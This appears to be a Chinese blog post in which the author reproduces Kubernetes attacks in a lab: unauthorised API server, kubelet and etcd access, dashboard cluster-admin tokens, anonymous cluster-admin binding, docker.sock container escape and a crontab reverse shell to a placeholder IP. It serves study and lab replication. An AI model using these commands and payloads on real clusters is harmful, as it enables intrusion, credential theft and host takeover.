k8s安装
环境
Ubuntu 20.04 LTS x64
工具:metarget
安装docker:curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
安装metarget:
git clone https://github.com/Metarget/metarget.git
cd metarget/
pip3 install -r requirements.txt
此时可以安装任意版本k8s,我们安装1.16.5版本: ./metarget gadget install k8s --version=1.16.5
Kubernetes API Server未授权访问
列举下Kubernetes组件的一些服务及默认端口:
组件 | 默认端口 | 说明 |
---|---|---|
APIServer | 6443 | 基于HTTPS的安全端口 |
APIServer | 8080 | 不安全的HTTP端口,不建议启用 |
Kubelet | 10248 | 用于检查Kubelet健康状态的HTTP端口 |
Kubelet | 10250 | 面向API Server提供服务的HTTPS端口 |
Dashboard | 8001 | 提供HTTP服务的端口 |
etcd | 2379 | 客户端与服务端之间通信的端口 |
etcd | 2380 | 不同服务端实例之间通信的端口 |
首先是8080端口的位置,默认情况下,6443端口支持认证和授权服务,但8080端口是没有的,不过较新版本的Kubernets中8080默认不启动,cat /etc/kubernetes/manifests/kube-apiserver.yaml
即可查看当前配置
将其修改为- --insecure-port=8080
,并添加- --insecure-bind-address=0.0.0.0
,重启服务(systemctl restart kubelet
),即可开启8080端口的HTTP服务,如果是在云服务器进行测试的话,建议开放所有端口方便复现
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -F
iptables-save
此时访问如图:
执行命令 通过kubectl -s命令
创建pods
kubectl run n00bk1ng --image=nginx --port=1112
查看pods
kubectl -s 127.0.0.1:8080 get pods
进入容器直接执行命令:
获取service-account-token
访问/api/v1/namespaces/kube-system/secrets/
:
获取宿主机权限-通过k8s dashboard,创建特权Pods
Kubernets Dashboard是基于Web的Kubernets用户界面,可以利用他来在集群中部署、调试容器化应用,或者管理集群资源,也就是获取集群中应用运行状态的概览,创建活修改Kubernets资源。安装Dashboard:wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.2.0/aio/deploy/recommended.yaml
下载后进行修改
- --enable-skip-login
- -- insecure-bind-address=0.0.0.0
kubectl apply -f recommended.yaml
wget https://gist.githubusercontent.com/tejaswigk/da57d7911284cbf56e7f99af0afd6884/raw/de38da2a7619890a72d643d2bbd94278221e5977/insecure-kubernetes-dashboard.yml
kubectl apply -f insecure-kubernetes-dashboard.yml
kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard 9090:80
或者
kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard --address 0.0.0.0 9090:80
新建account.yaml,写入一个新账号:
# Creating a Service Account
apiVersion: v1
kind: ServiceAccount
metadata:
name: admin-user
namespace: kubernetes-dashboard
---
# Creating a ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: admin-user
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: admin-user
namespace: kubernetes-dashboard
然后kubectl apply -f account.yaml
,新建成功后,获取token:kubectl -n kubernetes-dashboard get secret $(kubectl -n kubernetes-dashboard get sa/admin-user -o jsonpath="{.secrets[0].name}") -o go-template="{{.data.token | base64decode}}"
出现不安全的访问,使用kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard --address 0.0.0.0 9090:443
,但是我这里一直连接重置,就没再继续下去
关于443端口转发问题的解决
上述问题出现后,本质问题是需要访问https服务,于是,我重新开始。
wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.4.0/aio/deploy/recommended.yaml
kubectl apply -frecommended.yaml
apply之后,可以看到是ClusterIp,于是下一步要进行设置
# 创建dashboard-ingress.yaml文件,用来指向一个域名
vim dashboard-ingress.yaml
# 文件内容
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
name: kubernetes-dashboard
namespace: kubernetes-dashboard
annotations:
kubernetes.io/ingress.class: "nginx"
nginx.ingress.kubernetes.io/backend-protocol: HTTPS
nginx.ingress.kubernetes.io/configuration-snippet: |-
proxy_ssl_server_name on;
proxy_ssl_name $host;
spec:
rules:
- host:这里写你的域名
http:
paths:
- path: /
backend:
serviceName: kubernetes-dashboard
servicePort: 443
# apply文件
kubectl apply -f dashboard-ingress.yaml
此时可以访问你的host地址发现未成功,因为还没有设置NonePort已经端口转发的地址
# 新建一个recommend.yaml文件,用来设置管理员并定义角色端口
vim recommend.yaml
# recommend.yaml文件内容
kind: Service
apiVersion: v1
metadata:
labels:
k8s-app: kubernetes-dashboard
name: kubernetes-dashboard
namespace: kubernetes-dashboard
spec:
type: NodePort #新增的
ports:
- port: 443
targetPort: 8443
nodePort: 32000 # 新增的,此端口与NodePort不要写一样
selector:
k8s-app: kubernetes-dashboard
# apply文件
kubectl apply -f recommend.yaml
配置完成后,访问此处新增的32000端口,如图:
问题解决
获取token:kubectl -n kubernetes-dashboard get secret $(kubectl -n kubernetes-dashboard get sa/kubernetes-dashboard -o jsonpath="{.secrets[0].name}") -o go-template="{{.data.token | base64decode}}"
但是这里还是不能获取权限,于是我去搜了下,显示有超级用户才可以,于是去找超级用户(cluster-admin),参考链接:【深入分析】Kubernetes RBAC角色权限控制
# 新建admin.yaml
apiVersion: v1
kind: ServiceAccount
metadata:
name: dashboard-admin
namespace: kube-system
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
name: dashboard-admin
subjects:
- kind: ServiceAccount
name: dashboard-admin
namespace: kube-system
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io
# apply文件
kubectl apply -f admin.yaml
# 查看对应的用户名
kubectl describe sa -n kube-system dashboard-admin
# 获取token
kubectl describe secret dashboard-admin-token-np46j -n kube-system
成功获取token
将根目录挂载到/mnt下
成功挂载
在/mnt目录下看到宿主机目录
使用chroot获取权限
读文件,执行命令
反弹shell
6443端口-system:anonymous错误配置
将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令,未设置时进行访问:
修改配置:kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
拼接访问namespace
拼接访问默认namespace的pods:/api/v1/namespaces/default/pods
获取token:/api/v1/namespaces/kube-system/secrets/
k8s kubelet 10250端口未授权
访问端口提示404,访问pods路径提示未授权401
修改配置,在/var/lib/kubelet/config.yaml
中修改:
重启systemctl restart kubelet
执行命令
curl -XPOST -k "https://${IP_ADDRESS}:10250/run/<namespace>/<pod>/<container>" -d "cmd=<command-to-run>"
需要namespace、pod、container三个参数,在https://ip:10250/runningpods/中可以找到
但是我在刚才的pods中同样可以看到
个人猜测是runningpods的都是正在运行的,而pods里不一定是
此时执行命令:
获取凭证
curl -XPOST -k https://{ip}}:10250/run/default/n00bk1ng-567cb46757-lcnds/n00bk1ng -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
原理:一个 pod 与一个服务账户相关联,该服务账户的凭证(token)被放入该pod中每个容器的文件系统树,在 /var/run/secrets/kubernetes.io/serviceaccount/token。如果服务账号(Service account )绑定了 cluster-admin (即集群的 admin 权限我们可以对所有namespace下实例进行操作) ,那么我们就可以通过 token 来进行一系列的操作
可以直接访问dashboard
etcd未授权
未指定--client-cert-auth参数打开证书校验,并且把listen-client-urls监听修改为0.0.0.0那么也就意味着这个端口被暴露在外,如果没有通过安全组防火墙的限制,就会造成危害
修改配置文件:/etc/kubernetes/manifests/etcd.yaml
正常访问:
此时就需要利用证书进行访问,然后就是证书泄露
证书泄露
安装etcd-client:apt install etcd-client
export ETCDCTL_API=3
export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt
export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt
export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key
查看证书:etcdctl --endpoints=https://127.0.0.1:2379/ get / --prefix --keys-only
获取token路径:etcdctl --endpoints=https://127.0.0.1:2379/ get --keys-only --prefix=true "/" | grep /secrets/kube-system/clusterrole
然后获取token:etcdctl --endpoints=https://127.0.0.1:2379/ get {证书路径}
然后带着token获取集群权限:kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443 --token="" -n kube-system get pods
挂载docker.sock
大佬说的:
/var/run/docker.sock是 Docker守护程序默认监听的 Unix 套接字。它也是一个用于从容器内与Docker守护进程通信的工具 取自StackOverflowUnix Sockets 术语套接字通常是指 IP 套接字。这些是绑定到端口(和地址)的端口,我们向其发送 TCP 请求并从中获取响应。
另一种类型的 Socket 是 Unix Socket,这些套接字用于IPC(进程间通信)。它们也称为 Unix 域套接字 ( UDS )。Unix 套接字使用本地文件系统进行通信,而 IP 套接字使用网络。
Docker 守护进程可以通过三种不同类型的 Socket 监听 Docker Engine API 请求:unix, tcp, and fd. 默认情况下,在 /var/run/docker.sock 中创建一个 unix 域套接字(或 IPC 套接字)
安装docker
首先创建一个docker容器:docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04
再在容器中安装docker:
# ubuntu 18.04安装
dockersudo apt-get update
# 安装依赖包
sudo apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
# 添加 Docker 的官方 GPG 密钥
curl -fsSL https:# download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
# 验证您现在是否拥有带有指纹的密钥
sudo apt-key fingerprint 0EBFCD88
# 设置稳定版仓库
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
# 更新
sudo apt-get update
# 安装最新的Docker-ce
sudo apt-get install docker-ce
# 启动
sudo systemctl enable docker
sudo systemctl start docker
这时已经可以从容器docker ps中看到宿主机的容器了
容器逃逸
将宿主机的根目录挂载到容器中
docker run -it -v /:/root ubuntu:18.04 /bin/bash
chroot root
拿下!
反弹shell
通过修改crontab定时任务来反弹shell
crontab -e
* * * * * /bin/bash -i >& /dev/tcp/ip/123 0>&1
但是,没弹成功,于是就去找原因,后来发现Ubuntu需要满足其他条件,比如/var/spool/cron/crontabs/root
的权限一定得是600,也就是rw-------
,其次是反弹shell的命令需要修改一下,改为*/1 * * * * bash -c "bash -i >&/dev/tcp/ip/1234 0>&1"
,这里和/bin/bash找不到有关,不过我用/bin/sh
也没有成功,还是得用bash,最后payload:
crontab -e
*/1 * * * * bash -c "bash -i >&/dev/tcp/ip/1234 0>&1"
解决文章放在参考链接中了。
总结
第一次搞k8s,跟着大佬的文章做了多天的复现,最后虽然还是有一些遗留问题,但是后面一定回回头解决,学到了很多k8s的知识,熟悉了kubectl的命令,了解了k8s配置文件中一些重要的配置,还第一次尝试了容器逃逸...很遗憾没接触到dashboard,不过后面一定回来补充,感谢年少有为师傅的文章,受益匪浅。
参考链接:
浅析K8S各种未授权攻击方法
解决ubuntu crontab反弹shell失败的问题
云原生安全:攻防实践与体系构建
k8s-Service
k8s安装步骤(1.22.0版本)
k8s 安装dashboard
(k8s教程-2)安装kubernetes-dashboard
【深入分析】Kubernetes RBAC角色权限控制
etcd v3使用方法
评论 (0)